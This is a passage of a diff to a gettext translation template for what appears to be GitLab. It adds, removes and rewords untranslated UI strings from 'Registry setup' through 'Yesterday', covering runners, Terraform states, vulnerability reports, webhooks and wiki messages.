msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22420,6 +22923,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22447,9 +22953,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22654,9 +23157,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22672,15 +23172,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22759,6 +23256,16 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22793,6 +23300,13 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22844,6 +23358,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22874,12 +23391,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22907,6 +23430,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22940,10 +23466,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -23065,12 +23591,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -23197,6 +23729,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -23237,6 +23772,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -23259,6 +23797,9 @@ msgstr[3] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23328,6 +23869,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23391,12 +23935,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23424,9 +23962,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23529,12 +24064,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23553,7 +24082,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23610,15 +24139,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23721,6 +24244,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23760,9 +24286,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23864,6 +24387,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -24050,6 +24576,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24216,6 +24745,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24333,9 +24868,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24678,12 +25210,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24726,21 +25252,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24759,6 +25294,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24855,9 +25393,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24912,13 +25447,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24949,6 +25487,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -25046,10 +25587,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -25100,6 +25644,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25211,9 +25758,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25259,7 +25803,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25340,10 +25884,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25625,10 +26172,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25652,6 +26199,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25769,9 +26319,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25931,6 +26478,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -26099,6 +26658,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -26108,6 +26670,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -26156,6 +26721,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26330,6 +26898,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26498,9 +27069,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26540,6 +27108,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26554,24 +27125,48 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26594,6 +27189,12 @@ msgstr[3] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26621,6 +27222,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26651,6 +27255,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26748,9 +27355,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26760,10 +27364,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26832,9 +27436,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26878,6 +27479,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26926,6 +27530,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26971,6 +27581,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -27082,6 +27695,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -27091,7 +27707,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -27103,9 +27719,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -27121,6 +27734,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -27208,6 +27824,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27523,9 +28142,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27535,9 +28151,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27580,6 +28193,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27643,7 +28259,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27652,9 +28268,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27769,7 +28382,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27790,9 +28403,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27871,6 +28481,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27916,6 +28529,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28216,6 +28832,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -28236,6 +28855,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28371,7 +28993,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28470,6 +29092,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28812,6 +29437,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28878,7 +29506,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28950,10 +29578,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -29148,9 +29776,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29169,6 +29794,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -29205,6 +29833,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29295,6 +29926,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29442,6 +30076,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29499,6 +30139,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29544,6 +30187,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29574,6 +30220,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29610,6 +30259,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29652,15 +30304,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29730,7 +30382,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29813,6 +30465,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29870,6 +30525,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29963,9 +30621,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -30071,6 +30726,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -30119,10 +30780,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -30137,6 +30795,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -30161,6 +30822,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -30290,6 +30954,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30305,6 +30972,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30386,12 +31056,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30450,7 +31126,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30606,6 +31288,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30687,9 +31372,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
